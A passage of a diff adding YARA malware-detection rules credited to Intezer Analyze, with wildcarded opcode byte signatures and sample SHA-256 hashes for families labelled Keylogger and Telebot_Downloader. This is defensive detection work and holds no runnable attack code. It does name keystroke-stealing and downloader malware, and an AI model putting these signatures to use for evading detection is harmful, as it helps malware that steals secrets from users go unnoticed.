+		$block_42 = { 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 4? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? 89 ?? 39 ?? ?? ?? ?? ?? 73 }
+		$block_44 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 33 ?? B9 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_46 = { 68 ?? ?? ?? ?? 6A ?? 5? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_47 = { 0F B6 ?? ?? ?? ?? ?? 84 ?? B9 ?? ?? ?? ?? 0F 45 ?? A2 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_48 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 95 ?? 84 ?? 74 }
+		$block_49 = { 6A ?? 83 ?? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 8B ?? 89 ?? ?? 0B ?? 0F 84 }
+		$block_50 = { 8B ?? ?? 5? 5? 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 6A ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 33 ?? 83 ?? ?? 84 ?? 0F 95 ?? 8B ?? 85 ?? 74 }
+		$block_52 = { C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_53 = { 8B ?? ?? 8B ?? 0F B7 ?? ?? 8B ?? ?? 83 ?? ?? 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_54 = { 33 ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? C7 ?? ?? ?? ?? ?? ?? 39 ?? ?? 0F 8E }
+		$block_55 = { 5? 8B ?? 0F BE ?? ?? 83 ?? ?? 83 ?? ?? 5? 5? 5? 8B ?? 8B ?? 83 ?? ?? 0F 87 }
+		$block_56 = { 8D ?? ?? 89 ?? ?? 0F AF ?? C1 ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 85 ?? 75 }
+		$block_57 = { 0F B7 ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_58 = { 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_59 = { 8A ?? ?? 2C ?? 4? 0F B6 ?? 8B ?? 8D ?? ?? 8D ?? ?? 89 ?? 8B ?? 8D ?? ?? 66 }
+		$block_60 = { 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 8D }
+		$block_61 = { 8B ?? ?? 8B ?? 8B ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 85 ?? 0F 85 }
+		$block_62 = { 8B ?? ?? 8B ?? ?? 33 ?? 85 ?? 0F 95 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_63 = { 8B ?? ?? 0F B7 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 80 7? ?? ?? 74 }
+		$block_64 = { 8B ?? ?? 0F BF ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_65 = { 6A ?? B8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_66 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 4? 89 ?? ?? 3B ?? ?? 0F 8C }
+		$block_67 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_68 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 8E }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 03 ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_70 = { 8B ?? ?? 8B ?? ?? B9 ?? ?? ?? ?? 01 ?? ?? 01 ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_71 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_72 = { 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 89 ?? ?? ?? ?? ?? 8A ?? 3C ?? 0F 84 }
+		$block_73 = { 6A ?? 83 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 0B ?? 89 ?? ?? 0F 84 }
+		$block_74 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? ?? ?? ?? ?? 0F 83 }
+		$block_75 = { 0F B7 ?? ?? 33 ?? 8B ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 1F }
+		$block_76 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_77 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? 3B ?? C7 ?? ?? ?? ?? ?? 0F 94 ?? 84 ?? 75 }
+		$block_78 = { 8D ?? ?? ?? ?? ?? 5? FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { 5? 8B ?? ?? 5? 0F B6 ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_80 = { 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_81 = { E8 ?? ?? ?? ?? 0F B7 ?? B9 ?? ?? ?? ?? 66 ?? ?? 0F 94 ?? 84 ?? 75 }
+		$block_82 = { B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B ?? 0F 44 ?? 89 ?? ?? ?? ?? ?? EB }
+		$block_83 = { 8B ?? 0F BF ?? ?? 8B ?? ?? ?? 01 ?? ?? ?? ?? ?? F6 ?? ?? ?? ?? 74 }
+		$block_84 = { 5? 5? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8D ?? ?? 0F 43 ?? ?? 8D }
+		$block_85 = { 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_86 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 83 ?? ?? 0F 43 ?? 80 7? ?? ?? 74 }
+		$block_87 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 8B ?? 83 ?? ?? 3B ?? ?? 74 }
+		$block_88 = { 66 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? 72 }
+		$block_89 = { 8B ?? ?? 33 ?? 38 ?? ?? 8B ?? ?? ?? 0F 94 ?? 3B ?? 0F 84 }
+		$block_90 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 85 }
+		$block_91 = { 4? 89 ?? 8B ?? ?? 8B ?? 8D ?? ?? 89 ?? 88 ?? 0F B6 ?? EB }
+		$block_92 = { 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_93 = { 5? 8B ?? 83 ?? ?? 80 B? ?? ?? ?? ?? ?? 5? 5? 5? 0F 85 }
+		$block_94 = { 8B ?? ?? ?? 8A ?? ?? 8B ?? 89 ?? ?? ?? F6 ?? ?? 0F 85 }
+		$block_95 = { E8 ?? ?? ?? ?? 0F B7 ?? 66 ?? ?? 0F 94 ?? 84 ?? 75 }
+		$block_96 = { 8B ?? ?? 8B ?? 2B ?? ?? F6 ?? ?? ?? 89 ?? ?? 0F 84 }
+		$block_97 = { 8B ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 0F 1F }
+		$block_98 = { FE ?? 88 ?? ?? 0F B6 ?? 8B ?? ?? ?? 89 ?? ?? EB }
+		$block_99 = { 4? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 85 ?? 0F 8F }
+
+	condition:
+		hash.sha256(0, filesize) == "b0df1c855db31dd29a1e9b40f8360e5036e848e023741e05114d46b7359ff6f6" or
+		hash.sha256(0, filesize) == "50b990f6555055a265fde98324759dbc74619d6a7c49b9fd786775299bf77d26" or
+		12 of them
+}
+
+rule Keylogger {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 40 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? F3 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B7 ?? 85 ?? 75 }
+		$block_2 = { 88 ?? ?? ?? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 0F B6 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_3 = { 44 ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 5? 5? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_5 = { 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 48 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 }
+		$block_6 = { 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 48 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB }
+		$block_7 = { 88 ?? ?? ?? 5? 48 ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 83 ?? ?? 74 }
+		$block_9 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "e3f134ae88f05463c4707a80f956a689fba7066bb5357f6d45cba312ad0db68e" or
+		10 of them
+}
+
+rule Telebot_Downloader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? 8A ?? ?? ?? 0F B7 ?? ?? ?? C1 ?? ?? 83 ?? ?? ?? ?? 88 ?? ?? ?? 66 ?? ?? ?? ?? 0F 85 }
+		$block_1 = { BB ?? ?? ?? ?? 89 ?? 29 ?? 89 ?? ?? ?? 89 ?? 83 ?? ?? 29 ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? 0F 83 }
+		$block_2 = { 0F B6 ?? 8B ?? ?? ?? 4? 89 ?? ?? ?? 8A ?? ?? ?? ?? ?? 85 ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 74 }
+		$block_3 = { 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 94 ?? 39 ?? 0F 94 ?? 08 ?? 80 F? ?? 88 ?? ?? ?? 74 }
+		$block_4 = { 0F 1F ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? BA ?? ?? ?? ?? 8B ?? ?? 89 ?? F7 ?? 89 ?? 0F 80 }
+		$block_5 = { 8B ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 39 ?? 0F 85 }
+		$block_6 = { 8D ?? ?? ?? 89 ?? 6A ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_7 = { 8B ?? ?? 0F AF ?? ?? 89 ?? 8B ?? ?? 01 ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 }
+		$block_8 = { 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 80 F? ?? 75 }
+		$block_9 = { 8B ?? ?? 0F AF ?? ?? 89 ?? 8B ?? ?? 01 ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? FF D? 85 ?? 7E }
+		$block_10 = { 8B ?? ?? ?? 89 ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_11 = { 8B ?? ?? 89 ?? C1 ?? ?? 01 ?? C1 ?? ?? 89 ?? 8B ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 0F B6 ?? 3C ?? 75 }
+		$block_12 = { 8D ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_13 = { 87 ?? 8D ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? 83 ?? ?? 89 ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_15 = { 89 ?? ?? 89 ?? E8 ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? ?? F2 ?? ?? ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? F2 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_17 = { 0F B6 ?? ?? ?? ?? ?? ?? 89 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 83 ?? ?? C1 ?? ?? 09 ?? 39 ?? 0F 83 }
+		$block_18 = { 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_19 = { 89 ?? E8 ?? ?? ?? ?? 0F 1F ?? ?? ?? ?? ?? 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 89 ?? 85 ?? 0F 88 }
+		$block_20 = { C7 ?? ?? ?? ?? ?? C6 ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_21 = { 8B ?? ?? 8B ?? ?? ?? 8D ?? ?? 8B ?? ?? ?? 89 ?? 8D ?? ?? 83 ?? ?? 89 ?? ?? ?? 8D ?? ?? 0F 82 }
+		$block_22 = { 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 83 ?? ?? 31 ?? 0F 57 ?? 89 ?? 0F 29 ?? ?? ?? 0F 29 ?? ?? ?? 0F 29 ?? ?? ?? 0F 29 ?? ?? ?? 9? }
+		$block_24 = { 8B ?? ?? 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? FF D? 83 ?? ?? 83 ?? ?? ?? ?? 0F 84 }
+		$block_25 = { 8B ?? ?? 35 ?? ?? ?? ?? 89 ?? 8B ?? ?? 80 F? ?? 89 ?? 89 ?? 09 ?? 85 ?? 0F 94 ?? 0F B6 ?? EB }
+		$block_26 = { 0F 1F ?? ?? 5? 5? FF 7? ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 0F 85 }
+		$block_27 = { 0F BD ?? ?? ?? 0F BD ?? 83 ?? ?? 83 ?? ?? 29 ?? 8D ?? ?? 89 ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_28 = { 89 ?? ?? 89 ?? ?? ?? 8D ?? ?? 31 ?? 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 0F 1F ?? 66 ?? ?? 75 }
+		$block_29 = { 66 ?? 5? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 80 7? ?? ?? 0F 85 }
+		$block_30 = { 8D ?? ?? ?? 89 ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 84 ?? 0F 85 }
+		$block_31 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 1F }
+		$block_32 = { BE ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 29 ?? 39 ?? 89 ?? 0F 43 ?? 83 ?? ?? 72 }
+		$block_33 = { 8D ?? ?? 31 ?? 89 ?? 89 ?? 89 ?? ?? ?? 0F 1F ?? ?? ?? ?? ?? ?? 0F B6 ?? 8D ?? ?? 84 ?? 78 }
+		$block_34 = { 83 ?? ?? 0F B6 ?? 89 ?? 8D ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 89 ?? 83 ?? ?? 8B }
+		$block_35 = { 0D ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? 8B ?? ?? 21 ?? 89 ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_36 = { 89 ?? 89 ?? E8 ?? ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? 89 ?? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? ?? 8B ?? ?? ?? BD ?? ?? ?? ?? BB ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 39 ?? 0F 84 }
+		$block_38 = { 89 ?? ?? ?? 8B ?? ?? ?? 4? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? 8B ?? ?? ?? 0F B6 ?? 83 ?? ?? 89 }
+		$block_39 = { 89 ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 84 ?? 89 ?? ?? ?? C6 ?? ?? ?? ?? 0F 85 }
+		$block_40 = { 8B ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_42 = { 0F B6 ?? ?? 89 ?? 0F B6 ?? ?? ?? ?? ?? 4? 0F B6 ?? ?? ?? ?? ?? 3A ?? ?? ?? ?? ?? 89 ?? 74 }
+		$block_43 = { 8B ?? ?? BD ?? ?? ?? ?? 0F B6 ?? ?? ?? BB ?? ?? ?? ?? 89 ?? ?? ?? 24 ?? 3C ?? 89 ?? 75 }
+		$block_44 = { 5? 5? 83 ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? 89 ?? ?? B1 ?? 89 ?? ?? ?? 80 7? ?? ?? 0F 85 }
+		$block_45 = { 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? 7F }
+		$block_46 = { 8B ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? 85 ?? 89 ?? ?? ?? 0F 44 ?? 8D ?? ?? ?? 89 ?? 85 ?? 74 }
+		$block_47 = { 89 ?? ?? ?? 31 ?? 85 ?? 89 ?? BF ?? ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_48 = { E8 ?? ?? ?? ?? FF 7? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 0F 1F ?? ?? E8 ?? ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 39 ?? 75 }
+		$block_50 = { 80 7? ?? ?? ?? 0F 97 ?? 80 F? ?? 0F 97 ?? 3A ?? ?? ?? 18 ?? 80 C? ?? 20 ?? 20 ?? 0F B6 }
+		$block_51 = { 8B ?? ?? 0F B6 ?? 0F B6 ?? C1 ?? ?? 89 ?? 8B ?? ?? 83 ?? ?? 0F B6 ?? 0F B6 ?? 09 ?? EB }
+		$block_52 = { 89 ?? 83 ?? ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 0F 42 ?? 8D ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_53 = { 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? 0F B6 ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 84 ?? 0F 88 }
+		$block_54 = { 8D ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_55 = { 0F 1F ?? ?? ?? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? ?? ?? 8B ?? ?? 8B ?? ?? 80 3? ?? 75 }
+		$block_56 = { 8D ?? ?? ?? FF 7? ?? ?? FF 7? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? ?? 3C ?? 75 }
+		$block_57 = { 89 ?? BE ?? ?? ?? ?? 83 ?? ?? 0F 42 ?? 8D ?? ?? 89 ?? ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_58 = { 8A ?? ?? ?? 88 ?? ?? ?? 0F B7 ?? ?? ?? 66 ?? ?? ?? ?? 8B ?? ?? 8B ?? F0 ?? ?? 0F 8E }
+		$block_59 = { C6 ?? ?? BB ?? ?? ?? ?? 8A ?? ?? ?? 88 ?? ?? 0F B7 ?? ?? ?? 66 ?? ?? ?? 89 ?? ?? C7 }
+		$block_60 = { 89 ?? ?? B1 ?? 86 ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? ?? 8B ?? ?? 8D ?? ?? 89 ?? 0F B6 ?? C1 ?? ?? 09 ?? 83 ?? ?? 66 ?? ?? ?? 73 }
+		$block_62 = { 8B ?? ?? ?? C1 ?? ?? 66 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 09 ?? 31 ?? 89 ?? E9 }
+		$block_63 = { 8B ?? ?? 89 ?? 31 ?? 29 ?? 89 ?? 01 ?? 89 ?? ?? 39 ?? ?? 8B ?? ?? ?? 8B ?? ?? 0F 95 }
+		$block_64 = { 5? 5? 5? 5? 83 ?? ?? 8B ?? ?? ?? 8B ?? 8B ?? ?? 8B ?? 89 ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_65 = { 31 ?? B0 ?? F0 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? C1 ?? ?? 0F B7 ?? 3D ?? ?? ?? ?? 0F 82 }
+		$block_66 = { 89 ?? 89 ?? C1 ?? ?? C1 ?? ?? C1 ?? ?? C1 ?? ?? 0F B6 ?? 0F B7 ?? 09 ?? 09 ?? 0F 85 }
+		$block_67 = { 89 ?? ?? ?? BF ?? ?? ?? ?? 89 ?? ?? ?? 29 ?? 89 ?? ?? ?? 8B ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_69 = { 0F 1F ?? E8 ?? ?? ?? ?? FF 7? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 0F 87 }
+		$block_70 = { 8B ?? ?? ?? BF ?? ?? ?? ?? BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? 39 ?? 0F 84 }
+		$block_71 = { 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 3B ?? ?? 0F 87 }
+		$block_72 = { 0F 1F ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 4? 85 ?? 0F 84 }
+		$block_73 = { 8B ?? ?? ?? 83 ?? ?? ?? 0F 94 ?? 80 7? ?? ?? BE ?? ?? ?? ?? 18 ?? 20 ?? 0F B6 ?? EB }
